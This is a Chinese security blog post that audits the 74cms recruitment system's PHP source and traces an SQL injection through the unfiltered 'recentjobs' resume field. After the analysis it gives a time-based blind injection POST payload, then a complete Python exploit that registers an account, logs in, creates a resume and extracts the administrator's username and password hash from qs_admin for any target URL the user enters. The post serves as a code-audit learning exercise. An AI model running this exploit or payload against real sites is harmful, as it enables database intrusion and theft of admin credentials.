p0's blog | 破 关注网络安全
74cms人才系统注入+编写exp
发表于: | 分类: Python,代码审计 | 评论:0 | 阅读: 1086

0x00前言

才开始学代码审计,找一些前人的漏洞分析下
参考文章:wooyun-2014-060905
原文只指出了出现漏洞的地方,没给出利用方法,拿来分析,并给出exp

0x01代码分析

根据原文给出的代吗,找到include/fun_personal.php

function check_resume($uid,$pid){
...
...
    if ($percent>=60)
    {
        $j=get_resume_basic($uid,$pid);
        $searchtab['sex']=$j['sex'];
        $searchtab['nature']=$j['nature'];
        $searchtab['marriage']=$j['marriage'];
        $searchtab['experience']=$j['experience'];
        $searchtab['district']=$j['district'];
        $searchtab['sdistrict']=$j['sdistrict'];
        $searchtab['wage']=$j['wage'];
        $searchtab['education']=$j['education'];
        $searchtab['photo']=$j['photo'];
        $searchtab['refreshtime']=$j['refreshtime'];
        $searchtab['talent']=$j['talent'];
        updatetable(table('resume_search_rtime'),$searchtab,"uid='{$uid}' AND id='{$pid}'");
        $searchtab['key']=$j['key'];
        $searchtab['likekey']=$j['intention_jobs'].','.$j['recentjobs'].','.$j['specialty'].','.$j['fullname'];
        updatetable(table('resume_search_key'),$searchtab,"uid='{$uid}' AND id='{$pid}'");
        unset($searchtab);
        $tag=explode('|',$j['tag']);
        $tagindex=1;
        $tagsql['tag1']=$tagsql['tag2']=$tagsql['tag3']=$tagsql['tag4']=$tagsql['tag5']=0;
        if (!empty($tag) && is_array($tag))
        {
                foreach($tag as $v)
                {
                    $vid=explode(',',$v);
                    $tagsql['tag'.$tagindex]=intval($vid[0]);
                    $tagindex++;
                }
        }
        $tagsql['id']=$j['id'];
        $tagsql['uid']=$j['uid'];
        $tagsql['subsite_id']=$j['subsite_id'];
        $tagsql['experience']=$j['experience'];
        $tagsql['district']=$j['district'];
        $tagsql['sdistrict']=$j['sdistrict'];
        $tagsql['education']=$j['education'];
        updatetable(table('resume_search_tag'),$tagsql,"uid='{$uid}' AND id='{$pid}'");
    }
...
...
}

分析这里发现,数据是从$j=get_resume_basic($uid,$pid);取出来的,找到这个函数:

function get_resume_basic($uid,$id)
{
    global $db;
    $id=intval($id);
    $uid=intval($uid);
    $info=$db->getone("select * from ".table('resume')." where id='{$id}'  AND uid='{$uid}' LIMIT 1 ");
    if (empty($info))
    {
    $info=$db->getone("select * from ".table('resume_tmp')." where id='{$id}'  AND uid='{$uid}' LIMIT 1 ");
    }
    if (empty($info))
    {
    return false;
    }
    else
    {
    $info['age']=date("Y")-$info['birthdate'];
    $info['number']="N".str_pad($info['id'],7,"0",STR_PAD_LEFT);
    $info['lastname']=cut_str($info['fullname'],1,0,"**");
    $info['tagcn']=preg_replace("/\d+/", '',$info['tag']);
    $info['tagcn']=preg_replace('/\,/','',$info['tagcn']);
    $info['tagcn']=preg_replace('/\|/','   ',$info['tagcn']);
    return $info;
    }
}

发现是从resume和resume_tmp表中取出的数据,并且这里没有对recentjobs参数进行过滤
再往上找,插入resume和resume_tmp表数据的地方:
/user/personal/personal_resume.php

//保存-求职意向
elseif ($act=='make2_save')
{
    
    $resumeuid=intval($_SESSION['uid']);
    $resumepid=intval($_REQUEST['pid']);
    if ($resumeuid==0 || $resumepid==0 ) showmsg('参数错误!',1);
    $resumearr['recentjobs']=trim($_POST['recentjobs']);
    $resumearr['nature']=intval($_POST['nature'])?intval($_POST['nature']):showmsg('请选择期望岗位性质!',1);
    $resumearr['nature_cn']=trim($_POST['nature_cn']);
    $resumearr['district']=trim($_POST['district'])?intval($_POST['district']):showmsg('请选择期望工作地!',1);
    $resumearr['sdistrict']=intval($_POST['sdistrict']);
    $resumearr['district_cn']=trim($_POST['district_cn']);
    $resumearr['wage']=intval($_POST['wage'])?intval($_POST['wage']):showmsg('请选择期望月薪!',1);
    $resumearr['wage_cn']=trim($_POST['wage_cn']);
    $resumearr['trade']=$_POST['trade']?trim($_POST['trade']):showmsg('请选择期望从事的行业!',1);
    $resumearr['trade_cn']=trim($_POST['trade_cn']);
    $resumearr['intention_jobs']=trim($_POST['intention_jobs']);
    if ($_CFG['audit_edit_resume']!="-1")
    {
    $resumearr['audit']=$_CFG['audit_edit_resume'];
    }
    add_resume_jobs($resumepid,$_SESSION['uid'],$_POST['intention_jobs_id'])?"":showmsg('更新失败!',0);
    updatetable(table('resume'),$resumearr," id='{$resumepid}'  AND   uid='{$resumeuid}'");
    updatetable(table('resume_tmp'),$resumearr," id='{$resumepid}'  AND   uid='{$resumeuid}'");
    check_resume($_SESSION['uid'],intval($_REQUEST['pid']));
    if ($_POST['go_resume_show'])
    {
        header("Location: ?act=resume_show&pid={$resumepid}");
    }
    else
    {
    header("Location: ?act=make3&pid=".intval($_POST['pid']));
    }
}

先是插入post数据到resume和resume_tmp表,到这里就发现,247和248行利用函数updatetable()更新数据看操作就没有进行过滤,这里已经形成注入,然后在249行调用了 函数check_resume($uid,$pid),调用了一开始的代码。
我们来看一下updatetable()这个函数:

function updatetable($tablename, $setsqlarr, $wheresqlarr, $silent=0) {
    global $db;
    $setsql = $comma = '';
    foreach ($setsqlarr as $set_key => $set_value) {
        if(is_array($set_value)) {
            $setsql .= $comma.'`'.$set_key.'`'.'='.$set_value[0];
        } else {
            $setsql .= $comma.'`'.$set_key.'`'.'=\''.$set_value.'\'';
        }
        $comma = ', ';
    }
    $where = $comma = '';
    if(empty($wheresqlarr)) {
        $where = '1';
    } elseif(is_array($wheresqlarr)) {
        foreach ($wheresqlarr as $key => $value) {
            $where .= $comma.'`'.$key.'`'.'=\''.$value.'\'';
            $comma = ' AND ';
        }
    } else {
        $where = $wheresqlarr;
    }
    return $db->query("UPDATE ".($tablename)." SET ".$setsql." WHERE ".$where, $silent?"SILENT":"");
}

在函数内部对参数进行了拼接,也没有进行过滤,最后执行语句

UPDATE ".($tablename)." SET ".$setsql." WHERE ".$where
这里 $where就是我们可控的

分析到现在就明确了整个漏洞发生的流程:

用户将参数提交至/user/personal/personal_resume.php,直接插入了resume和resume_tmp表(此处已经形成注入),然后调用check_resume($uid,$pid)函数,进而调用get_resume_basic($uid,$pid)函数,将刚才插入的数据取出来,然后插入resume_search_key表,再次形成注入,全过程没有进行过滤

0x02 构造POC

首先注册一个用户,创建一个简历,在创建简历的第二步`最近工作的职位`即存在注入的参数

QQ20170109-0@2x.png

根据注入发生的地方,考虑报错注入,但是测试发现报错内容并没有显示出来,只能使用延时盲注

74cms/user/personal/personal_resume.php?act=make2_save
post
recentjobs=1%27 WHERE uid='1' AND id='1' And if(mid(user(),1,1)='r',sleep(5),1)#&nature=62&nature_cn=%C8%AB%D6%B0&district_cn=%BA%D3%B1%B1%CA%A1%2F%CA%AF%BC%D2%D7%AF%CA%D0&district=5&sdistrict=130&wage_cn=1000%7E1500%D4%AA%2F%D4%C2&wage=56&intention_jobs=%D3%AA%CF%FA%D7%DC%BC%E0&intention_jobs_id=1.2&trade_cn=%BC%C6%CB%E3%BB%FA%C8%ED%BC%FE%2F%D3%B2%BC%FE&trade=1&pid=1&go_resume_show=1
延时逐位判断数据库名

0x03 编写exp

用Python编写exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
import random
import string


def Reg(url, username):
    print '正在注册用户%s,密码123456' % username
    reg_url = '%s/plus/ajax_user.php' % url
    postData = {'username': username,
                'password': '123456',
                'member_type': '2',
                'email': '%s@qq.com' % username,
                'time': '%d' % (time.time() * 1000),
                'act': 'do_reg'
                }
    requests.post(reg_url, data=postData)

def Login(url, s, username):  # 模拟登录
    print '正在登录用户%s' % username
    login_url = '%s/plus/ajax_user.php' % url
    postData = {'username': username,
                'password': '123456',
                'time': '%d' % (time.time() * 1000),
                'act': 'do_login'
                }
    r = s.post(login_url, data=postData)
    Ck = {'PHPSESSID': r.headers['Set-Cookie'][10:42],
          'QS[password]': r.headers['Set-Cookie'][123:155],
          'QS[uid]': r.headers['Set-Cookie'][8:9],
          'QS[username]': username,
          'QS[utype]': '2',
          'QS[pmscount]': '1'
          }  # cookie
    s.get('%s/74cms/user/personal/personal_index.php' % url, cookies=Ck)


def Create_resume(url, s):  # 创建简历
    resume_url = '%s/user/personal/personal_resume.php?act=make1_save' % url
    postData = {'title': '111',
                'fullname': '111',
                'sex': '1',
                'sex_cn': '%C4%D0',
                'birthdate': '1999',
                'marriage': '1',
                'marriage_cn': '%CE%B4%BB%E9',
                'experience_cn': '1%C4%EA%D2%D4%CF%C2',
                'experience': '75',
                'householdaddress': '111',
                'education_cn': '%B3%F5%D6%D0',
                'education': '65',
                'telephone': '10000000000',
                'address': '111',
                'email_notify': '0',
                'pid': '0'

                }
    s.post(resume_url, data=postData)


def Attack(url, payload):
    bug_url = '%s/user/personal/personal_resume.php?act=make2_save' % url
    postData = {'recentjobs': payload,
                'nature': '62',
                'nature_cn': '1',
                'district_cn': '1',
                'district': '1',
                'sdistrict': '35',
                'wage_cn': '1',
                'wage': '56',
                'intention_jobs': '1',
                'intention_jobs_id': '19.20',
                'trade_cn': '1',
                'trade': '1',
                'pid': '2',
                'go_resume_show': '1'

                }
    star_time = time.time()
    result = s.post(bug_url, postData)
    end_time = time.time()
    return end_time - star_time


def Injection_payload(url):
    # 判断当前用户是否是root权限
    print '正在判断当前数据库用户是否是root',
    payload = '1\' WHERE uid=1 and if(mid(user(),1,4)=\'root\',sleep(2),1)#'
    timeout = Attack(url, payload)
    if timeout >= 2:
        print 'Yes'
    else:
        print 'No'

    # 判断管理员用户名长度
    for i in range(50):
        payload = '1\' WHERE uid=1 and if(length((select admin_name from qs_admin))=%d,sleep(2),1)#' % i
        timeout = Attack(url, payload)
        if timeout >= 2:
            admin_len = i
            break

    # 猜解管理员用户名
    name_char = 'abcdefghijklmnopqrstuvwxyz0123456789'
    admin_name = ''
    print '正在猜解管理员用户名'
    for i in range(1, admin_len + 1):
        for c in name_char:
            payload = '1\' WHERE uid=1 and if(mid((select admin_name from qs_admin),%d,1)=\'%s\',sleep(2),1)#' % (i, c)
            timeout = Attack(url, payload)
            if timeout >= 2:
                admin_name = admin_name + c
                print c,
                break
    print '\n用户名为:%s' % admin_name

    # 猜解管理员密码
    pwd_char = 'abcdef0123456789'
    pwd = ''
    print '正在猜解管理员密码'
    for i in range(1, 33):
        for c in pwd_char:
            payload = '1\' WHERE uid=1 and if(mid((select pwd from qs_admin),%d,1)=\'%s\',sleep(2),1)#' % (i, c)
            timeout = Attack(url, payload)
            if timeout >= 2:
                pwd = pwd + c
                print c,
                break
    print '\n密码为:%s' % pwd


if __name__ == '__main__':
    url = raw_input('输入目标url:')
    s = requests.Session()
    username = ''.join(random.sample(string.ascii_letters + string.digits, 8))
    Reg(url, username)
    time.sleep(2)
    Login(url, s, username)
    Create_resume(url, s)
    Injection_payload(url)

2.png


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:http://p0sec.net/index.php/archives/72/
来源:http://p0sec.net/

添加新评论

TOP